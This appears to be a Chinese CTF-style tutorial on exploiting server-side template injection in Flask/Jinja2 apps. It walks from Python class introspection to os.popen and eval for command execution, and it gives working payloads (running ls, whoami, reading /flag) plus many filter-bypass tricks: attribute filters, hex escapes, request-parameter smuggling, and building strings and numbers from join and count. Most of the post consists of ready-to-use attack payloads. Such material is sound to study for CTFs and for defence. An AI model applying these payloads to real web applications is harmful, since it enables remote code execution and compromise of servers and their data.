Flask SSTI
SSTI前置知识
1 | {%%}可以用来声明变量,当然也可以用于循环语句和条件语句。 |
了解一些python的魔术方法和内置类
class
返回该对象所属的类
1 | >>>''.__class__ #''里面是字符串类型 |
base__和__bases
都是用于获取类的基类 基类也叫父类
但是base是以字符串形式 而bases以元组的形式返回一个类所直接集成的类
1 | "".__class__ |
mro
返回解析方法调用的顺序
(当调用_mro_[1]或者-1时作用其实等同于_base_)
1 | "".__class__.__mro__ |
subclasses()
获取类的所有子类
这里需要知道object是所有类的基类
所以object下子类是所有类
1 | >>>"".__class__.__base__.__subclasses__() |
init
所有可被当作模板导入的都包含__init__方法,通过此方法来调用__globals__方法
globals
该方法会以字典的形式返回当前位置的所有全局变量
所有函数都会有一个 globals 属性, 用于获取当前空间下可使用的模块、方法及其所有变量,结果是一个字典
builtins
python2 中为__bulitins__和__bulitin__
builtins 实际上是一个指向或者说引用 builtin 的(有点类似于软链接)
这里 builtins 是内建名称空间,是这个模块本身定义的一个名称空间,在这个内建名称空间中存在一些我们经常用到的内置函数(即不需要导入包即可调用的函数)如:print()、str()还包括一些异常和其他属性。
python3中为__builtins__和builtins
builtins 代替的 builtin
在python中有一些BIF(内置函数)是可以直接调用的,比如str(), print()等,这些函数可以通过 dir(builtins) 可以查到。
import()
该方法用于动态加载类和函数 如果一个模块经常变化就可以使用__import__()来动态载入 语法__import__(模块名)
总体思路就是:
1 | 找到父类<type 'object'> ---> 寻找子类 ---> 找关于命令执行或者文件操作的模块。 |
过滤器
变量可以通过过滤器修改。过滤器与变量之间用管道符号(|)隔开,括号中可以有可选参数
可以链接多 个过滤器
一个过滤器的输出应用于下一个过滤器。
attr()
用于获取对象的属性
1 | ""|attr("__class__") |
常见于点号.
被过滤,或者点号.
和中括号[]
都被过滤的情况
format()
简单理解就是格式化字符
1 | "%c%c%c%c%c%c%c%c%c"|format(95,95,99,108,97,115,115,95,95) #相当于__class__ |
first() last() random()
返回第一个值 最后一个值或者随机
随机的话需要我们跑个脚本就有几率获取到我们想要的内容了
1 | >>>"".__class__.__base__.__subclasses__()|first() |
join()
字符串拼接
1 | ""[['__clas','s__']|join] 或者 ""[('__clas','s__')|join] |
lower()
转化为小写
1 | >>>""["__CLASS__"|lower()] |
replace() reverse()
替换和反转还原回我们要用的字符串
1 | "__claee__"|replace("ee","ss") 构造出字符串 "__class__" |
string
功能类似于python内置函数 str
有了这个的话我们可以把显示到浏览器中的值全部转换为字符串再通过下标引用,就可以构造出一些字符了,再通过拼接就能构成特定的字符串。
1 | >>>().__class__ |
select
和之前的结合起来有大作用
1 | >>>()|select|string |
然后我们就可以切字符了
1 | (()|select|string)[24]~ |
list
转换成列表
更多的用途是配合上面的string转换成列表,就可以调用列表里面的方法取字符了
其实更多的是可以用list的函数了
1 | >>>()|select|string|list |
变量
除了标准的python语法使用点.
外,还可以使用中括号[]
来访问变量的属性
1 | {{"".__class__}} |
拼接:
1 | "__cla"+"ss__"`其实不用加中间的加号也可以 直接`"__cla""ss__" |
反转
"__ssalc__"[::-1]
其实是python的切片
ascii转换
1 | "{0:c}".format(97)='a' |
编码绕过
1 | \x5f\x5fclass\x5f\x5f #16进制 __class__ |
在jinja2里面可以利用~进行拼接
1 | {%set a='__cla' %}{%set b='ss__'%}{{""[a~b]}} |
SSTI语句构造
首先就是要拿到当前类
1 | {{"".__class__}} |
拿object
也就是需要object然后再从它的子类中找我们可以利用的
1 | {{"".__class__.__mro__[1]}} |
拿基类的子类
用__subclasses__()
获取子类
大多数利用的是os.wrap_close
这个类
然后就是来找我们想要的内容 调教gpt帮我们写一个
1 | def format_content(content): |
只要将前后的[]
删去 然后放到content.txt就能自动帮我们标上序号了 然后序号要-1 因为脚本是从1开始的
__init__方法进行初始化类
1 | >>>{{"".__class__.__base__.__subclasses__()[132].__init__}} |
然后再调用__globals__获取到方法内以字典的形式返回的方法、属性
现在用命令执行函数或者模块就行了
1 | >>>{{"".__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']('ls /').read()}} |
有一个很厉害的模块是buildtins里面有eval()等函数可以用来rce
1 | {{"".__class__.__base__.__subclasses__()[132].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('cat /flag').read()")}} |
SSTI常见的绕过方式
绕过.
- 前面也举了很多例子 可以用
[]
来代替
1 | {{"".__class__}}={{""['__class']}} |
- 可以用attr()过滤器
1 | {{"".__class__}}={{""|attr('__class__')}} |
绕过_
- 通过list获取字符列表,然后用pop来获取_ 其实就是去截_
1 | {% set a=(()|select|string|list).pop(24)%}{%print(a)%} |
- 通过十六进制编码
1 | {{()["\x5f\x5fclass\x5f\x5f"]}} ={{().__class__}} |
绕过[]
可以使用__getitem__魔术方法 简单说就是把中括号转换为括号
1 | __bases__[0]=__bases__.__getitem__(0) |
其实本质是我们用[]的时候 调用的就是这个魔术方法而已
绕过花括号
可以用{%%}
bypass 这时就要在里面用print()来打印结果了
1 | {{"".__class__.__bases__[0]. __subclasses__()[138].__init__.__globals__['popen']('whoami').read()}} |
也可以借助for循环和if语句来执行命令
1 | {%for i in ''.__class__.__base__.__subclasses__()%}{%if i.__name__ =='_wrap_close'%}{%print i.__init__.__globals__['popen']('whoami').read()%}{%endif%}{%endfor%} |
注意这里循环语句 有{%for}`就要有`{%endfor%}
有{%if}` 就要有`{%endif%}
绕过单引号和双引号
当单引号和双引号被ban时,我们通常采用request.args.a
,然后给a赋值这种方式来进行绕过
1 | {{url_for.__globals__[request.args.a]}}&a=__builtins__ 等同于 {{url_for.__globals__['__builtins__']}} |
原理
如果args也被禁了
可以采用request.cookies
和request.values
,他们利用的方式大同小异
1 | GET:{{url_for.__globals__[request.cookies.a]}} |
绕过数字
可以通过count来得到数字
1 | {{(dict(e=a)|join|count)}} #1 |
在这里join将字典的键连接起来 然后count
绕过关键字
和上面相同的原理 join拼接
1 | {{dict(__in=a,it__=a)|join}} =__init__ |
常用payload
1 | 1、任意命令执行 |
后言:
做题慢慢补充